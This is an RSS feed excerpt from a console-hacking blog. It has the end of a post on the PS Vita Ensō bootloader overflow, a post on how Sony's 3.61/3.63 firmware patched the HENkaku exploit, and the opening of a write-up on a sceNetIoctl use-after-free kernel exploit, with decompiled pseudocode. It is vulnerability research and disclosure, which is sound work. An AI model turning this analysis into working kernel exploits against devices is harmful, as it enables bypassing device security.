&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os0_ret&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;panic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/* ... */&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In addition, they sprinkled &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BytesPerSector&lt;/code&gt; checks over various read-related functions, so even if by some miracle one manages to bypass the panic call, the moment e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sceIoRead&lt;/code&gt; is called, your Vita would explode.&lt;/p&gt;

&lt;h1 id=&quot;epilogue&quot;&gt;Epilogue&lt;/h1&gt;

&lt;p&gt;The vulnerability here conceptually is way simpler than the HENkaku one, just a trivial global buffer overflow. The lack of the usual mitigations (ASLR, read-only code, etc) also makes it really easy to exploit. On the other hand, there’s way less attack surface (i.e. zero syscalls) compared to the whole kernel and you kind of need to be good at soldering to attempt the hardware mod.&lt;/p&gt;

&lt;p&gt;Existence of another vulnerability in NSBL is mathematically impossible in this new paradigm. In a sense, we got very lucky with the Ensō one as other than this really obvious issue (sabotage by a disgruntled Sony employee? &lt;span style=&quot;white-space:nowrap&quot;&gt;ヽ(°〇°)ﾉ&lt;/span&gt;) there’s not much left in NSBL.&lt;/p&gt;

&lt;p&gt;That’s all for today, thanks for reading!&lt;/p&gt;

&lt;h1 id=&quot;acknowledgements&quot;&gt;Acknowledgements&lt;/h1&gt;

&lt;p&gt;I’d like to thank &lt;a href=&quot;https://twitter.com/yifanlu&quot;&gt;Yifan Lu&lt;/a&gt; for proofreading the initial version of this article.&lt;/p&gt;
</description>
        <pubDate>Mon, 05 Nov 2018 23:13:37 -0500</pubDate>
        <link>https://blog.xyz.is/2018/enso.html</link>
        <guid isPermaLink="true">https://blog.xyz.is/2018/enso.html</guid>
        
        
      </item>
    
      <item>
        <title>How Sony fixed HENkaku</title>
        <description>&lt;p&gt;Since HENkaku has been released at the end of July, 2016, Sony has rolled out two system updates: 3.61 and 3.63. These both were aimed at fixing HENkaku and in this post I’m going to explain how they did it.&lt;/p&gt;

&lt;p&gt;Firmware version 3.61 (released August 8, 2016) only fixed the WebKit bug and the stack infoleak. Firmware 3.63 fixed the SceNetPs ioctl UaF, which is the core of the exploit, and PSN spoofing. Interestingly, 3.63 was released on November 1, 2016, two months after &lt;a href=&quot;/2016/vita-netps-ioctl.html&quot;&gt;my post about how the exploit worked&lt;/a&gt; went public.&lt;/p&gt;

&lt;p&gt;The stack leak fix is not interesting and WebKit fix is already documented &lt;a href=&quot;/2016/webkit-360.html#bonus-how-sony-patched-it&quot;&gt;here&lt;/a&gt;. Let’s cut to the fun stuff.&lt;/p&gt;

&lt;h1 id=&quot;fixing-uaf-101&quot;&gt;Fixing UaF 101&lt;/h1&gt;

&lt;p&gt;The root case of the bug is lack of reference counting. As such I expected to find it in the 3.63 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sceNetIoctl&lt;/code&gt; function code. What was really surprising is that they went through the whole module and added socket reference counting everywhere.&lt;/p&gt;

&lt;p&gt;The implementation looks like this:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_socket_by_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;++*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;                 &lt;span class=&quot;c1&quot;&gt;// incref&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// perform operation etc&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;bnet_sorele&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bnet_sorele&lt;/code&gt;? This is a helper function which decreases refcnt and frees the socket when it reaches zero.&lt;/p&gt;

&lt;h1 id=&quot;but-wait-theres-more&quot;&gt;But wait, there’s more&lt;/h1&gt;

&lt;p&gt;This fix is already enough to kill the HENkaku bug, and actually is a bit of an overkill. However, looking further into the SceNetPs module, we found that they have added a new exploit mitigation. Before doing any “dangerous” operations with a socket, for example:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;n&quot;&gt;v15&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;signed&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket_&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))(&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;socket_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;they now perform a sanity check:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;n&quot;&gt;bnet_socket_sanity_check&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;LOWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;32276&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;HIWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dword_1EA81EC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v14&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v15&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;signed&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket_&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))(&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;socket_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;v5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;What’s the sanity check? You can see the pseudocode &lt;a href=&quot;https://gist.github.com/xyzz/457305ed049e45df183f95515c2345d0&quot;&gt;here&lt;/a&gt;. It checks some socket fields to be fixed function pointers, check that vtable pointer points to SceNetPs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.data&lt;/code&gt; section, checks that vtable function pointers point into SceNetPs &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.text&lt;/code&gt; section. In the end, it’s basically a poor man’s &lt;a href=&quot;https://en.wikipedia.org/wiki/Control-flow_integrity&quot;&gt;CFI&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;

&lt;p&gt;It’s very surprising how throughout the fix is. Considering that PS Vita is a failure, it does not make any sense to spend so much effort fixing this bug. Unless… Sony is working on a new Vita to compete with Nintendo Switch? &lt;span style=&quot;white-space:nowrap&quot;&gt;ヽ(°〇°)ﾉ&lt;/span&gt;  Let me know what you think about it.&lt;/p&gt;
</description>
        <pubDate>Sun, 16 Apr 2017 00:13:37 -0400</pubDate>
        <link>https://blog.xyz.is/2017/363-fix.html</link>
        <guid isPermaLink="true">https://blog.xyz.is/2017/363-fix.html</guid>
        
        
      </item>
    
      <item>
        <title>Vita sceNetIoctl use-after-free</title>
        <description>&lt;style&gt;
.first-thread {
	color: #a70000;
}
.second-thread {
	color: #000096;
}
&lt;/style&gt;

&lt;p&gt;This describes the first public PS Vita kernel exploit. The vulnerability is a use-after-free in the SceNetPs module, combined with an infoleak to defeat KASLR this allows for arbitrary code to be executed in kernel mode. All Vita devices and firmwares before 3.61 are affected.&lt;/p&gt;

&lt;p&gt;The bug’s present in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sceNetIoctl&lt;/code&gt; function. Let’s go.&lt;/p&gt;

&lt;h1 id=&quot;implementation&quot;&gt;Implementation&lt;/h1&gt;

&lt;p&gt;Let’s take a look at how &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sceNetIoctl(s, flags, umem)&lt;/code&gt; works. I’ll be providing links to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioctl&lt;/code&gt; from NetBSD because it looks very similar; and there also will be some pseudo-code which does not match Vita version exactly, but is close enough.&lt;/p&gt;

&lt;p&gt;The arguments are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;s&lt;/code&gt;: socket id/descriptor&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flags&lt;/code&gt;: ioctl number&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;umem&lt;/code&gt;: pointer to user memory&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;First it checks that the kernel heap has enough memory (at least 5 free blocks of size 0x800 bytes or more) and then calls another function which is the real meat of the syscall.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;check_heap_space_available&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x800&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ioctl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;umem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;55&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A few words about how SceNetPs works. One of the first things most network-related syscalls do is lock a global SceNetPs mutex (which I am going to call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;g_network_mutex&lt;/code&gt;). Indeed, instead of fine-grained locking it just has a global mutex, which is probably terrible for performance, but I digress.&lt;/p&gt;

&lt;p&gt;So the next step of our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioctl&lt;/code&gt; implementation is locking &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;g_network_mutex&lt;/code&gt;. After that, a pointer to the socket is retrieved by its descriptor from the global socket table.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;sce_psnet_bnet_mutex_lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;g_network_mutex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_socket_by_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, a buffer for copying from/to user is allocated. The logic is same as in &lt;a href=&quot;https://github.com/jsonn/src/blob/c5ec5ed6967e23ee4cb888ad90c2f79d74e7f2fe/sys/kern/sys_generic.c#L623&quot;&gt;NetBSD&lt;/a&gt;. Notice the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KM_SLEEP&lt;/code&gt; flag here: it means that alloc will never return &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NULL&lt;/code&gt;, it guarantees success by waiting/rescheduling the thread until more kernel memory becomes available.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;memsz&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1FFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memsz&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;heapmem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;memsz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// 0 here is equivalent to KM_SLEEP&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;mem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;heapmem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;heapmem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;mem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stackbuf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Following that, depending on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flags&lt;/code&gt;, either &lt;a href=&quot;https://github.com/jsonn/src/blob/c5ec5ed6967e23ee4cb888ad90c2f79d74e7f2fe/sys/kern/sys_generic.c#L629&quot;&gt;user data is copied in or the buffer is zeroed&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memsz&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;u2k_copy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;umem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memsz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// args = src, dst, size&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x40000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memsz&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;memset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memsz&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x20000000&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mem&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;umem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, a function with ID &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id = (flags &amp;amp; 0xFF00) &amp;gt;&amp;gt; 8&lt;/code&gt; is executed. There are two hardcoded IDs and if there’s no match, a generic function from socket vtable is executed, in pseudocode with missing casts:&lt;/p&gt;

